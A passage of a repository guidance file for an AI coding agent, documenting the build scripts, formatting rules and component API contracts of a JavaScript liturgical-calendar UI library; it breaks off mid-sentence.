This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.
@liturgical-calendar/components-js is a reusable ES6/JavaScript component library that provides user interface components for interacting with the Liturgical Calendar API. It enables developers to easily integrate liturgical calendar functionality into web applications without needing a build step.
Key Capabilities:
- Display and select from available Roman Catholic liturgical calendars (national, diocesan, General Roman)
- Configure API parameters (year, locale, date format, etc.)
- Render interactive liturgical calendar tables with customizable grouping and styling
- Display the liturgy of the day for a specific calendar
- Build and preview API request URLs
Distribution:
- NPM package:
@liturgical-calendar/components-js - CDN:
https://cdn.jsdelivr.net/npm/@liturgical-calendar/components-js/+esm
This library is part of the coordinated API client libraries effort. See the API Client Libraries Roadmap for the full coordination strategy across PHP, JavaScript, and React platforms.
- TypeScript 5.7.2 - Source code written in TypeScript, compiled to ES modules
- JavaScript ES6 Modules - No build step required for CDN usage
- Storybook 10.5.7 - Component documentation and interactive testing
- Jest 30.4.2 - Unit testing framework
- Yarn 4.6.0 - Package manager with PnP (Plug'n'Play)
liturgy-components-js/
├── src/ # TypeScript source files
│ ├── index.js # Main entry point
│ ├── Enums.js # Type-safe enumerations
│ ├── Messages.js # Localized UI strings (84 locale blocks, unevenly populated)
│ ├── MessageLookup.js # The one guarded read of Messages, falling back to English
│ ├── Utils.js # Utility functions
│ ├── typedefs.js # Shared JSDoc typedefs
│ ├── ApiClient/
│ │ ├── ApiClient.js # API communication, per-base client
│ │ ├── ApiBase.js # One object per API base URL: registry, metadata, cache
│ │ ├── ApiClientError.js # Error carrying url/status/statusText/body/cause
│ │ └── EventEmitter.js # Event bus used by ApiClient
│ ├── ApiOptions/
│ │ ├── ApiOptions.js # API parameter form controls
│ │ └── Input/ # Form input components
│ ├── CalendarSelect/ # Calendar dropdown component
│ ├── RiteSelect/ # Rite dropdown component
│ ├── PathBuilder/
│ │ ├── PathBuilder.js # API URL builder
│ │ └── CurrentEndpoint.js # Endpoint state a PathBuilder renders
│ ├── WebCalendar/ # Calendar table renderer and helpers
│ ├── LiturgyOfTheDay/ # Daily liturgy widget
│ ├── LiturgyOfAnyDay/ # Liturgy of any selected date widget
│ ├── ReadingsRenderer/ # Lectionary readings renderer, and the schema vocabulary
│ ├── MetaComponents/
│ │ ├── CalendarResourcePicker.js # RiteSelect + filtered CalendarSelect, bundled
│ │ ├── DayViewer.js # Rite, calendar, locale and LiturgyOfAnyDay, bundled
│ │ ├── CalendarControls.js # Rite, calendar and ApiOptions, wired, no renderer
│ │ ├── CalendarViewer.js # CalendarControls + WebCalendar
│ │ ├── ApiExplorer.js # CalendarControls + PathBuilder, never fetches
│ │ ├── Theme.js # Internal theme-bag resolver, not exported
│ │ └── ThemePresets.js # Framework preset table; only its names are exported
│ ├── SubscriptionBuilder/
│ │ ├── SubscriptionBuilder.js # CalendarControls + a subscription URL, never fetches
│ │ └── SubscriptionUrl.js # Private renderer, not exported
│ ├── __fixtures__/ # Metadata fixtures for the tests
│ ├── __tests__/ # Jest unit tests
│ └── stories/ # Storybook stories
├── dist/ # Compiled output
├── docs/ # Component and API documentation
├── examples/ # Working example applications
└── .storybook/ # Storybook configuration
# Compilation
yarn compile # Compile TypeScript to JavaScript
yarn compile:watch # Watch mode for continuous compilation
yarn lint:dts # Type-check dist/*.d.ts under --strict, as a downstream consumer would
# Testing
yarn test # Run Jest unit tests
# Markdown — two tools, different jobs (see the Markdown section under Code Standards)
yarn lint:md # markdownlint-cli2: check against .markdownlint.yml
yarn lint:md:fix # markdownlint-cli2 --fix (cannot fix MD060 table alignment)
yarn format:md # prettier: check formatting, changes nothing
yarn format:md:fix # prettier: reformat in place (this is what fixes MD060)
# JavaScript formatting (see the JavaScript section under Code Standards)
yarn format:js # prettier: check src/ and examples/, changes nothing
yarn format:js:fix # prettier: reformat src/ and examples/ in place
# Storybook
yarn storybook # Launch on random free port (requires API at localhost:8000)
yarn storybook --port 6006 # Launch on specific port
yarn storybook:ci # CI mode (fixed port 6006)
yarn build-storybook # Build static Storybook
# Docker
yarn docker # Run compile:watch and storybook:ci in parallelEnvironment Setup:
- Copy
.env.exampleto.env - Set
STORYBOOK_API_PORTif API runs on non-standard port (default: 8000)
- Target: ES2022 modules
- Strict mode: Enabled
- Output:
/dist/index.js(ES module) and/dist/index.d.ts(type definitions)
ES2022 is a floor, not a preference. The sources use static # private fields — ES2022 syntax —
and, more decisively, Object.hasOwn() and Error's cause option, which are ES2022 runtime APIs
that no target setting can transpile away. Lowering target would therefore produce output that still
fails on an older engine, just less obviously. tsconfig.json pins ES2022 rather than esnext, which
drifts with every TypeScript release and so states no contract at all.
The build cannot catch a false target claim. allowJs is on but checkJs is off, so TypeScript
parses the JS sources and emits them but never type-checks them, and it does not flag a runtime API that
postdates the target. The project compiles clean at ES2020 and ES2022 alike — which is how the earlier
ES2020 claim survived unnoticed. Any change to the ECMAScript floor must be verified by reading the
emitted dist/, not by trusting a green yarn compile. (Turning checkJs on is a much larger change
and deliberately out of scope.)
checkJs being off also means a green yarn compile says nothing about whether the emitted .d.ts
files are themselves valid TypeScript. JSDoc mistakes in src/ — a @readonly tag on a getter (which
tsc emits as the syntactically invalid readonly get foo(): T;), a type name that never resolves in the
declaration file's own scope — compile cleanly as JS but break every downstream TypeScript consumer.
yarn lint:dts is the check that catches this class of bug: it runs tsc -p tsconfig.dts-check.json,
a config isolated from tsconfig.json that starts from dist/index.d.ts and sets its own target/lib
under strict, i.e. it checks the declarations the way a consumer's own tsconfig.json would, not the
way this package's build does. Run yarn compile first — lint:dts checks whatever is already in dist/,
it does not rebuild it.
Formatting: prettier owns src/ and examples/. .prettierrc sets tabWidth: 4 and
singleQuote: true — 4-space indent, single-quoted strings, prettier's other defaults otherwise
(trailing commas, no forced parens beyond what prettier already adds around a sole arrow-function
parameter). Check with yarn format:js, rewrite in place with yarn format:js:fix; both are also
CLI flags-free, unlike the markdown scripts, because the JS-specific options live in .prettierrc
rather than being passed on the command line. CI runs yarn format:js — an unformatted file fails
the build the same way an unformatted markdown file does.
This reverses an earlier decision (visible in git history) to keep prettier markdown-only, on the
grounds that prettier's defaults — double quotes, 2-space indent — contradicted this project's
style. That objection is gone now that .prettierrc overrides those two defaults; nothing else
about the project's style depends on a prettier option, so there was no remaining reason to hand-
enforce formatting instead of letting the formatter do it. .prettierrc scopes the JS options to
JS/TS via an overrides block for *.md that resets tabWidth/singleQuote back to prettier's
own defaults, so yarn format:md output is unaffected — verify this after touching .prettierrc
by confirming yarn format:md still reports no files needing changes. endOfLine is "lf".
Line endings are enforced by .gitattributes, and that is the only layer that can enforce them.
* text=auto eol=lf normalizes on checkin, so no editor, script or platform default reintroduces CRLF.
The other two layers state the convention but cannot hold it: git never reads .editorconfig, and
prettier only touches the files it is pointed at, so a scripted rewrite or a sed -i slips past both.
That was not a theoretical gap. Before issue #84, seven tracked files carried CRLF in the index
(.storybook/preview-head.html, DayInput.js, MonthInput.js, LiturgyOfAnyDay.js, two
LiturgyOfAnyDay*.stories.js, liturgyofanyday.css) and endOfLine was "auto" specifically to
preserve them. The convention then broke twice in a single day's work — a whole-file rewrite in PR #74
and a scripted one in PR #82 — each caught only by a manual file -b check, because no test, linter or
formatter reports it and yarn format:js passes either way by design. #84 added the attributes file,
renormalized those seven in one dedicated commit, and flipped endOfLine to "lf", which is now
meaningful: with normalization upstream, "auto" would only let a stray CRLF survive a formatting pass.
.editorconfig (4-space [*.js], end_of_line = lf) remains the "get it right live" half, so an
editor's behaviour matches what git and prettier will enforce afterwards — it is simply no longer the
only line of defence, which is what it used to be and could not sustain.
Key Patterns:
- Chainable methods - Configuration methods return
thisfor fluent interface - Non-chainable methods -
appendTo()is void: it may terminate a chain, but nothing can be chained off it - JSDoc comments - All public methods documented with parameter and return types
- Private fields - Uses
#prefix for encapsulation
Method Chainability:
| Method Type | Chainable | Returns | Examples |
|---|---|---|---|
| Configuration | Yes | this |
class(), id(), label(), filter() |
| DOM insertion | No | void |
appendTo() |
| Build/render | No | varies | buildTable() returns Promise |
| Event subscription | Yes | this |
listenTo() |
Note: WebCalendar.attachTo() is deprecated. Use appendTo() instead for consistency with other components.
WebCalendar appendTo() Behavior: Unlike other components where appendTo() performs a one-time DOM insertion,
WebCalendar.appendTo() stores a reference to the target element. When calendar data is fetched (via listenTo()),
the table content is rebuilt and the target element's children are replaced (not appended). This reactive behavior
means the calendar updates automatically whenever new data arrives from the ApiClient.
IMPORTANT: appendTo() returns undefined rather than this. Two things follow, and only two:
nothing can be chained off it, and its result must never be assigned. It may still terminate a
chain — the receiver is whatever the preceding configuration method returned, and the undefined is
simply discarded as a statement.
import { CalendarSelect, ApiOptions } from 'liturgy-components-js';
// CORRECT - configure, then insert
const calendarSelect = new CalendarSelect('en-US')
.filter(CalendarSelectFilter.NATIONAL_CALENDARS)
.class('form-control')
.id('calendar-select');
calendarSelect.appendTo('#container');
// ALSO CORRECT - appendTo() ends the chain. class() returned the CalendarSelect,
// so appendTo() runs on that instance and nothing consumes its undefined.
new CalendarSelect('en-US').class('form-control').appendTo('#container');
// WRONG - the const is undefined, not the component
const calendarSelect = new CalendarSelect('en-US')
.class('form-control')
.appendTo('#container');
// WRONG - nothing can be chained off appendTo()
new CalendarSelect('en-US')
.appendTo('#container')
.class('form-control'); // TypeError: Cannot read properties of undefinedAll markdown files must conform to .markdownlint.yml:
- Line length: Maximum 180 characters (code blocks and tables excluded)
- Tables: Columns must be vertically aligned (MD060)
- Code blocks: Use fenced style with language specifiers
- Lists: Must be surrounded by blank lines
Two tools, deliberately kept separate — do not merge them into one script name.
| Tool | Script | Fixes |
|---|---|---|
markdownlint-cli2 |
lint:md, lint:md:fix |
the .markdownlint.yml rules — MD013, MD029, MD040 … |
prettier |
format:md, format:md:fix |
formatting — table alignment (MD060), MD032 |
They are complementary, not alternatives, because markdownlint-cli2 --fix cannot repair MD060.
Run it on a misaligned table and it reports the error but changes nothing; alignment would otherwise have
to be done by hand. yarn format:md:fix does it mechanically, and its output passes lint:md with zero
errors — so prettier owns formatting and markdownlint owns everything else. Prettier does not fix
MD013 or MD029; those still need a human edit.
Both share the same names in the monorepo's other (PHP) projects, where only markdownlint exists. Here
lint:md is markdownlint and format:md is prettier. Defining prettier as lint:md would silently
shadow the markdownlint scripts — JSON takes the last duplicate key — so keep the names distinct.
Prettier now formats both markdown and JavaScript (see the JavaScript section above), but the
format:md scripts still pass --embedded-language-formatting=off so that fenced JavaScript samples
inside the docs are left exactly as written — reformatting a code sample inside prose is a separate,
not-yet-made decision from reformatting src/ itself. The markdown-specific options
(--prose-wrap=preserve, --embedded-language-formatting=off) stay as CLI flags on the format:md
scripts rather than moving into .prettierrc, and .prettierrc's JS-specific tabWidth/singleQuote
are scoped away from *.md via an overrides block, so the two configurations don't interfere with
each other.
| Component | Purpose |
|---|---|
ApiClient |
Manages API communication, emits events |
ApiBase |
One API base: its URL, calendar index and cache |
ApiClientError |
Error carrying url, status, statusText and body |
CalendarSelect |
Dropdown for selecting calendars |
ApiOptions |
Form controls for API parameters |
WebCalendar |
Renders calendar as HTML table |
LiturgyOfTheDay |
Widget displaying today's liturgy |
LiturgyOfAnyDay |
Widget displaying liturgy for any selected date |
PathBuilder |
Builds and displays API request URLs |
ReadingsRenderer |
Renders lectionary readings; owns the mass-schema vocabulary |
CalendarResourcePicker |
Rite + filtered CalendarSelect, bundled and wired |
DayViewer |
Complete "liturgy of any day" page in one mount |
CalendarControls |
Rite + calendar + ApiOptions, wired, no renderer |
CalendarViewer |
CalendarControls paired with a WebCalendar |
ApiExplorer |
CalendarControls paired with a PathBuilder, never fetches |
SubscriptionBuilder |
CalendarControls paired with an iCal subscription URL, never fetches |
One contract, everywhere a locale is accepted — the bare constructor argument, the locale property of an
options bag, WebCalendar.locale(), and the locale argument of the ApiClient fetch methods:
stringorIntl.Locale, interchangeably. The tag stored is the locale's canonical form, sonew CalendarSelect('it-IT')andnew CalendarSelect(new Intl.Locale('it-IT'))are the same call. Unicode extensions survive, including ones given asIntl.Localeconstructor options rather than written in the tag.nullandundefinedboth mean "not supplied", as the argument itself and as thelocaleproperty alike, and take the component's default ('en'for the six constructors —CalendarSelect,RiteSelect,ApiOptions,LiturgyOfTheDay,LiturgyOfAnyDayandReadingsRenderer—'en-US'forWebCalendar).- Anything else is rejected, naming the component and the type it found — an array, a number, or any class
instance other than
Intl.Locale. The three accepted forms disambiguate in this order:Intl.Localeis a locale, any other object is an options bag, a string is a locale. - An unparseable locale throws and is never silently replaced with English. "Absent" and "invalid" are different things.
The shared implementations are src/LocaleValidation.js (what a locale is) and src/OptionsValidation.js
(what shape an options argument may take). Neither is exported from src/index.js: they are internal contract
between the components, not public API.
CalendarSelect.wrapper(), RiteSelect.wrapper() and Input.wrapper() all take an { as, class, id } bag
through src/WrapperOptions.js — internal, and not exported from src/index.js, on the same reasoning as
the two validators above. Input.wrapper() additionally accepts the bare tag name it has always taken and
normalizes it to { as: tagName }; that form is kept rather than deprecated because DayViewer,
LiturgyOfAnyDay and both example apps all pass one.
Two Input-only subtleties, both easy to "simplify" wrongly:
- The one-shot guard counts explicit calls, via
#wrapperSet— not#hasWrapper. The constructor builds a wrapper of its own wheneverInput.setGlobalWrapper()has been called, whichLiturgicalCalendarFrontendand six examples do at module scope. Keying the guard on "a wrapper exists" would refuse the caller's first explicitwrapper()call on every such page, including this library's own call forDayViewer's locale input.CalendarSelecthas no equivalent constructor path, which is why its#wrapperSetcan be simpler. - A bag's
classbeatssetGlobalWrapperClass()and marks the class as set; an inherited global does not.buildWrapperElement()knows nothing about the globals, so that precedence lives inInput.wrapper(). Leaving an inherited global unmarked is what keepswrapperClass()free afterwards — the globals-plus-per-input-override pairing every consuming page is built on.
setGlobalWrapper() takes a bare tag name and must never accept an id: the globals apply to every Input
on the page, so one id would be stamped onto all of them and emit invalid HTML.
Its ten form controls answer to canonical names — epiphanyInput, ascensionInput, corpusChristiInput,
eternalHighPriestInput, holydaysOfObligationInput, localeInput, yearTypeInput, yearInput,
acceptHeaderInput, calendarPathInput — and, unchanged, to those names with a leading underscore, the
only spelling that existed up to 2.7.0. Write the canonical form in docs, examples and new code.
- The ten names are
API_OPTIONS_INPUT_ROLES' keys, exactly. That map istheme.apiOptions' public vocabulary and predates the accessors, so #62 adopted its spellings rather than minting an eleventh. Giving one input two public names would be worse than the single ugly one it had.ApiOptionsPublicAccessors.test.jsasserts the two lists are equal, from two independently written literals. - The underscore forms are supported, not deprecated, and MUST NOT warn. The library reads them itself at
some thirty call sites (
ApiClient,PathBuilder,CalendarControls,DayViewer,ApiExplorer,SubscriptionUrl,SubscriptionBuilder), so a warning would fire on the library's own behaviour before a consumer wrote a single underscore — and warning on the only spelling that ever existed would make every correct page noisy in a minor release. Those internal call sites were deliberately not migrated: they are churn against behaviour-tested code, and the aliases are permanent.Theme.jsis the one exception, because itsapiOptions[ '_' + key ]concatenation existed only for want of these names. _filter,_filtersSet,_currentEndpointand_basekeep the prefix and have no canonical form, which is what makes the prefix informative here. No production code outside the class reads the first two; the third is handed out by reference forPathBuilderto mutate._filtercould not have been aliased in any case:filter()is already the chainable setter, andget filter()in the same class body would replace it. The name to add, if a consumer ever needs it, iscurrentFilter.- The canonical getter is the implementation and the underscore one delegates, so the pair cannot drift, and
type-fixtures/dts-consumer.tsasserts all ten reachdist/at their aliases' types — a.d.ts-only class of bugyarn testcannot see.
CalendarSelect._filter/._base, LiturgyOfAnyDay._yearInput and Input._domElement/._labelElement have the
same shape and were left alone: #62 was scoped to ApiOptions.
The ApiClient is the central hub for API communication. It fetches calendar data and emits events that other components listen to.
ApiClient.init() rejects — it never resolves to false, and never throws synchronously:
- an
ApiClientError(withurl,status,statusText,body,cause) when the base's/calendarsrequest fails - a plain
Errorwhen theurlargument is not a non-empty string, or is not an absolutehttp:/https:URL
const apiClient = await ApiClient.init(BaseUrl); // wrap in try/catch, or use .catch()The fetch methods — fetchCalendar(), fetchNationalCalendar(), fetchDiocesanCalendar() and
refetchCalendarData() — also return promises that reject with an ApiClientError, after emitting
calendarFetchFailed as (error, { rite }). Subscribe with the chainable apiClient.on(event, listener),
and unsubscribe with apiClient.off(event, listener), which removes that one registration and does so by
replacing the listener array rather than splicing it — a listener that unsubscribes itself while running
does not cause the next listener in the same emit() to be skipped. off() is what let dispose() on
the meta-components (below) become possible: without it, a component wiring listenTo() internally had
no way to undo that subscription later.
Failures are logged only when nobody could have handled them: a promise the caller holds rejects and is not
logged, while the requests the library issues for itself (the listenTo() listeners, LiturgyOfAnyDay's year
handling) fall back to console.error only when nothing is subscribed to calendarFetchFailed.
const apiClient = await ApiClient.init(BaseUrl);
// Set year (chainable)
apiClient.year(2025);
// Set year type (chainable)
apiClient.yearType(YearType.LITURGICAL);
// Chain multiple configuration methods
apiClient.year(2025).yearType(YearType.CIVIL);
// Fetch methods
apiClient.fetchCalendar(locale);
apiClient.fetchNationalCalendar(calendarId, locale);
apiClient.fetchDiocesanCalendar(calendarId, locale);
apiClient.refetchCalendarData();The ApiClient implements parameter-based caching to avoid redundant API requests. Calendar data is cached based on:
- Category (general, national, diocesan)
- Calendar ID
- Year
- Year type (LITURGICAL or CIVIL)
- Locale
- Rite (roman or ambrosian)
- Mobile feast settings (epiphany, ascension, corpus_christi, eternal_high_priest)
When a fetch method is called with the same parameters, cached data is returned immediately without making an HTTP request.
The cache belongs to the ApiBase, not to the ApiClient class: two clients on one base share it, and two
bases never see each other's responses. It holds 50 entries per base by default, evicting the
least-recently-read first, with optional expiry — both set through ApiBase.cacheLimits({ maxEntries, ttl }).
// First call fetches from API
apiClient.year(2025).yearType(YearType.LITURGICAL);
await apiClient.fetchCalendar('en');
// Second call with same parameters returns cached data (no HTTP request)
await apiClient.fetchCalendar('en');
// Different parameters trigger a new fetch
apiClient.year(2026);
await apiClient.fetchCalendar('en'); // Fetches from API
// Clear all cached data when needed
ApiClient.clearCache();listenTo() attaches a change listener per input, and a single user action moves several of them: a rite
change makes ApiOptions rewrite the year floor, the calendar path, the locale options and the calendar
select, each dispatching its own change. Those listeners used to fetch individually, in attachment order,
while the client's own state was still half-updated — so the leading requests described the state the user
had just left.
They now mark the client dirty via #scheduleRefetch(), which runs one refetch on a microtask, built from
the state the batch settled on. A microtask is the right horizon because every dispatch in the batch is
synchronous (dispatchEvent( new Event( 'change' ) ) in both ApiOptions and CalendarSelect), so the
whole burst has landed and nothing beyond the current turn is swallowed.
Only the listener path coalesces. fetchCalendar(), fetchNationalCalendar(),
fetchDiocesanCalendar() and refetchCalendarData() stay immediate, so consumers holding those promises —
LiturgyOfAnyDay calls refetchCalendarData() three times — see no timing change. This is the split every
data-fetching library draws between an automatic refetch and an explicit one; do not "unify" it by routing
the public methods through the scheduler.
This is also what removed a visible flicker, and the reason it could not be fixed by filtering instead.
#requestRevision drops a superseded response before the calendarFetched emit, but a wasted request
answered from cache emits synchronously, at an instant when it is the newest revision — so the guard
has nothing to catch, and the wasted requests were the ones most likely to be cached. The waste had to be
removed at the source. #requestRevision still earns its place for the remaining overlap: a user acting
again before the previous response lands.
Requests are not aborted when superseded. That was weighed and declined: after coalescing the overlap is
small, the response is already ignored, and letting it land populates the cache. Tests that drive an input
programmatically must await Promise.resolve() before asserting on fetch. See
src/__tests__/ApiClientRequestCoalescing.test.js, whose last test is what keeps coalescing from swallowing
a second, genuine user action.
The following methods are deprecated and will show console warnings:
| Deprecated | Use Instead |
|---|---|
setYear() |
year() |
setYearType() |
yearType() |
Five components in src/MetaComponents/ — CalendarResourcePicker, DayViewer, CalendarControls,
CalendarViewer and ApiExplorer — bundle a fixed, tested wiring of the library's existing components
behind a single mount call. They exist because several LiturgicalCalendarFrontend call sites were
re-deriving the same wiring by hand — including its ordering requirements and its silent-failure traps
(see "Rite Wiring" above) — and the library is a better place for that logic than every consumer's own
code. The library owns wiring, ordering, failure behaviour and defaults; it ships nothing
framework-specific and takes no position on CSS.
CalendarControls bundles a RiteSelect, a CalendarSelect and an ApiOptions, wired to one another and
(via listenTo()) to an ApiClient — with no renderer. CalendarViewer is CalendarControls plus a
WebCalendar; ApiExplorer is CalendarControls' construction plus a PathBuilder, with listenTo()
never called so it never fetches. The renderer was kept out of CalendarControls itself because a fourth,
unbundled consumer (LiturgicalCalendarFrontend's FullCalendar-based page) renders with FullCalendar
instead of WebCalendar — bundling WebCalendar into the shared wiring would have excluded it.
Full documentation, including worked examples, lives in docs/meta-components.md — this section
summarizes the contract points that a change to any of the five must not violate.
The theme bag's role vocabulary. All five take an optional theme option written in HTML roles
(select, input, label, wrapper), never framework names, plus per-child override keys named for the
component's own public getters (e.g. riteSelect, calendarSelect). Resolution is per-key and most
specific first: a per-child override supplies whichever keys it names, and every key it does not name
falls back to the flat default. src/MetaComponents/Theme.js is the shared resolver every one of them
calls — it is internal and deliberately not exported from src/index.js, the same as
LocaleValidation.js and OptionsValidation.js.
apiOptions is the one NESTED key, and the only one, deliberately. It carries the same four flat role
keys for a whole ApiOptions form plus per-input overrides named for ApiOptions' canonical accessors
(epiphanyInput … calendarPathInput; yearInput alone takes the input role) — these ten spellings came
first, and #62 took them as the accessor names rather than minting an eleventh vocabulary. It
is what removed the last reason a consumer had to call the process-wide Input.setGlobal* setters, which
the theme bag exists to replace. Four things about it are load-bearing and easy to undo by accident:
- It is an OPT-IN GATE. While the key is absent, the flat keys reach
riteSelect,calendarSelectandlocaleInputand no further — exactly 2.7.0's behaviour. Do not "simplify" this into letting the flat keys always cascade into the form: that would restyle every existing consumer's page in a minor release, and would consumeInput.wrapper()'s one-shot allowance on ten inputs at construction time, so thesetGlobalWrapperClass()-plus-per-input-wrapperClass()pairing those pages are built on would start throwing. Widening the gate later is backward compatible; closing it again is not. theme.localeInputis a TIER, not a rival path. It shipped as public API in 2.7.0 and still works. Precedence, per key:theme.apiOptions[ input ]>theme.localeInput(that input only) >theme.apiOptionsflat > outer flat. One resolver, four layers; nothing merges twice.assertTheme()catches typos at the new depth too, both for a key insideapiOptionsand for a key inside a per-input override, AND it rejects any of the other nine input names written at the top level, pointing at the nested spelling. The per-input check is deliberately STRICTER than the two-level one, because the role is known there. Silently dropping an unrecognised key is the exact failure mode issue #43 was filed about, and shipping ten names that work nested while one of them also works at the top level is what would otherwise have made that misplacement easy to write.- Every one of the ten inputs is themed regardless of
filter. They all exist;filterdecides only which are appended. Theming one the filter hides must stay inert rather than throwing.
A preset names the role-to-class mapping instead of writing it out, and it is a bounded exception to
"takes no position on CSS" (#67). theme: 'bootstrap5' and theme: { preset: 'bootstrap5', … } are the
same call; bootstrap4/bootstrap5 are the two names, exported as ThemePreset from src/index.js
while the class table in src/MetaComponents/ThemePresets.js stays internal — the names are public API,
the strings must stay free to change in a patch release, and both live in one file so they cannot drift.
Six points are load-bearing:
- Expansion lives in
Theme.js, at all four entry points that take a raw bag (assertTheme(),narrowTheme(),resolveChildTheme(),resolveApiOptionsInputTheme()), never at the six components' call sites. That is what keeps every meta-component file unchanged — each holds itsthemelocal exactly as the caller wrote it — and it is what makes an unknown preset throw on every path rather than on whichever runs first.assertTheme()does precede the resolvers in all six constructors today; relying on that is the ordering assumption that has silently disabled a check here before, and it costs one moved line to break. assertTheme()expands BEFORE validating, so what a preset emits goes through the sameTHEME_CHILD_KEYScheck a caller's key does. A preset emitting a key some component does not accept fails loudly rather than being dropped.MetaComponentThemePresets.test.jsasserts this for every (preset, component) pair, and it is mutation-verified.- A preset opens the
theme.apiOptionsgate, deliberately. It injectsapiOptions: {}and nothing more; the existing four tiers then carry its flat keys down as tier 4. The gate exists so no bag written before that key restyles a form on upgrade, andpresetis a key no such bag contains — while #67's own stated purpose is that a preset stopping short of the form would leave the ten inputs to theInput.setGlobal*setters. Whether to inject is read fromTHEME_CHILD_KEYS, never a second list, soCalendarResourcePickergets no such key. - A preset supplies no
wrapper, and that is what makes the point above safe. The gate's other justification is that a flat wrapper consumesInput.wrapper()'s one-shot allowance on ten inputs. It is also why only ONE of the two Bootstrap differences #67 names is covered:.form-selectis a class BS5 introduced,col col-md-Nversuscol-md-Nis a sub-breakpoint layout choice with no renaming behind it. Do not "complete" the preset by adding a wrapper class. bootstrap4emits nolabel..form-labelis a BS5 class; BS4 form labels carry none. Adding one for symmetry would be inventing CSS.- A bare string
themeis a preset name, which is purely additive — a string was previously rejected byassertPlainOptions(). It cannot collide with the per-child string form ({ class }), which is one level down. preset: undefinedmeans no preset, per the library-wide nullish rule, and does not open the gate — hencenamesThemePreset()besidehasThemePreset(). The two differ on that one input and both are needed: the bag must still reach the expansion so the dead key is stripped beforeassertTheme()'s unknown-key check, while the gate must stay shut. An empty string still throws; supplied-and-invalid is not absent.
A flat class reaches CONTROLS only, since #67. collectFlatDefaults() read
CLASS_KEY_BY_ROLE[ role ] ?? 'select', so the two roles with no entry — liturgy, and the url role
SubscriptionBuilder now passes — inherited theme.select and got a <select>'s styling on a
LiturgyOfAnyDay card and on a copy <button>. The fallback is gone; label/wrapper are gated on the
role's own key list for the same reason. This was a prerequisite, not a tidy-up: the preset is unusable on
those two components otherwise. It IS a behaviour change for a bag writing a flat select on either, and
the per-child class is how both are styled.
Theme keys are validated PER COMPONENT, and the forwarding boundary owns its own attribution (#78).
THEME_CHILD_KEYS in Theme.js maps each of the six theme-taking components to the child keys it
actually resolves, and assertTheme() looks its allowed set up by the componentName it is already
given — so the name and the set cannot disagree, which a third childKeys argument would have left a
call site free to get wrong at exactly the boundary where the second half of #78 went wrong. An
unregistered name throws rather than falling back to the old permissive behaviour, which would silently
restore the bug. theme.apiOptions on a CalendarResourcePicker, or theme.liturgy on a
CalendarViewer, now throw naming the component, the key, the keys that component does accept and the
components the key IS valid on, instead of being accepted and dropped by resolveChildTheme(). Two
consequences a change here must preserve:
CalendarViewer,ApiExplorerandSubscriptionBuildervalidate under their OWN names before forwarding — PR #76's shape for theinputsbag, applied totheme— and forwardnarrowTheme( theme, 'CalendarControls' ), which keeps the flat keys and drops the outer component's own child keys. Without the narrowing,SubscriptionBuilder's legitimatesubscriptionUrlwould be rejected by a class that has never heard of it; wideningCalendarControls' own set instead would re-admit that key on a bareCalendarControlsand reopen the hole. All three narrow, not only the one whose set differs today, so the rule holds if either of the other two gains a themed child.- What is deliberately NOT validated is whether the current
filterrenders a themedApiOptionsinput. All ten exist regardless, so theming a hidden one stays inert — see the last bullet above.
Adding a themed child to a meta-component means adding its key to THEME_CHILD_KEYS, or the bag will
reject the very key the new child reads.
applyApiOptionsTheme() is the single application helper — CalendarControls and DayViewer each call
it once, and CalendarViewer/ApiExplorer/SubscriptionBuilder inherit it through CalendarControls.
It reuses resolveWrapperBag() rather than re-inlining the type-vs-class reconciliation, for the reason
that helper's own doc comment gives.
mountInto() versus the constructor. Like every component in this library, each meta-component has a
synchronous constructor — usable when an ApiBase is already known to be ready, paired with an
appendTo() — plus a static async mountInto(), which resolves the target(s), constructs the component
and mounts it. What those two take differs by component, and the difference is load-bearing.
CalendarResourcePicker and DayViewer take a single target. CalendarControls takes either a single
target or a { controls, messages } slots object. CalendarViewer and ApiExplorer take a slots object
only — { controls, calendar, messages? } and { pathBuilder, basePath?, allPaths?, riteSelect?, builder? } respectively — and reject a bare target, because each has more than one mandatory mount and a
lone target would have to pick one of them silently. All of them reject an unknown slot name, naming it.
Three of the five then wire an ApiClient and perform an
initial calendar fetch: CalendarControls, CalendarViewer and DayViewer. CalendarResourcePicker
never fetches at all — it is a form field, and has no listenTo() — and ApiExplorer deliberately
does not, because it composes request URLs rather than issuing them. appendTo() returns undefined, per the library-wide
contract: nothing can be chained off it, and its result must never be assigned.
The controls slot's VALUE may be a single target or an object keyed by ApiOptions filter; the slot
NAMES are unchanged. CalendarControls and CalendarViewer accept
controls: { allCalendars: '#row1', generalRoman: '#row2' }, which mounts one pass per filter and
replaces the two-pass filter().appendTo() idiom 2.5.0 documented (#63). Four points are load-bearing:
- The filter -> inputs mapping has ONE copy,
src/ApiOptions/FilterInputs.js, whichApiOptions.appendTo()iterates andsrc/MetaComponents/ControlSlots.jsreads for its overlap check. It used to be fiveifbranches insideappendTo(); a second copy beside them would drift the first time a filter gained an input, and overlap cannot be computed from key names —localeOnlyandallCalendarsare different names that both mount the locale input.src/__tests__/FilterInputs.test.jsguards it with a hand-written second statement of the intent, not by reading the mounted DOM back. SinceappendTo()iterates the table, comparing the two agrees with itself — widen the table and the append widens with it. That comparison was meaningful for exactly one commit, the one that extracted the table beforeappendTo()consumed it. The literal is what makes widening a filter a deliberate two-place edit, which matters twice over now that the same table decides which meta-component layouts are accepted. The file also pins the two runtime skips, which are deliberately NOT in the table. Both new modules are internal and not exported fromsrc/index.js, likeTheme.jsandInputVisibility.js. - Ordering is the component's, and canonical rather than the caller's.
PATH_BUILDERruns beforeALL_CALENDARSsoApiOptions'#pathBuilderEnabledis set before the pass that would otherwise append the year input twice — the precedenceApiExplorer.appendTo()already hard-codes. Do not overclaim what that buys. The final DOM would match under caller order too, becauseApiOptions.appendTo()MOVES: a laterPATH_BUILDERpass just takes the year input off an earlierALL_CALENDARSone. What the fixed order removes is the wasted append-and-move, and it is what makes the overlap exemption (allCalendarsdoes not claimyearInputwhenpathBuilderis present) literally true rather than true only in its outcome. Pass order becomes directly observable only when a caller names ONE container for two filters, which is legal — and that, not the year input's placement, is what the ordering test asserts, because the placement alone cannot tell the two apart. The rite and calendar selects follow the caller's FIRST key instead: that is layout intent, not ordering. - Key spelling is the camelCase member names, with
